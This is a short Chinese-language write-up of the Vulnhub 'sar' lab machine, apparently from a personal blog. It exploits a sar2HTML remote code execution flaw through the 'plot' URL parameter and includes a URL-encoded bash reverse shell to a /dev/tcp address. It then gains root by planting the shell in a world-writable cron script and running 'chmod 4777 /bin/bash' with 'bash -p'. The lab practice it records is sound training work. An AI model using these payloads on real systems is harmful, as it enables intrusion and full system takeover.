Vulnhub sar扫描主机扫描端口扫描目录只开了80端口访问页面默认的apache2页面Robots.txt查询漏洞版本一致都是远程代码执行漏洞提供了利用路径 github源码http://192.168.68.128/sar2HTML/index.php?plot;whoami反弹shell直接用payload没反应注意url编码http://192.168.68.128/sar2HTML/index.php?plot;bash%20-c%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.68.147%2F4242%200%3E%261发现sh文件可能是计划任务执行查看发现每五分钟执行一次finally.shFinally.sh--write.sh--touch /tmp/gatewayWrite.sh 权限777所有用户可读写Finally.sh root用户可读写所以将反弹shell插入write.sh等待计划任务执行即可拿到root的shell我插入nc的没反弹回来换下面方式chmod 4777 /bin/bashbash -p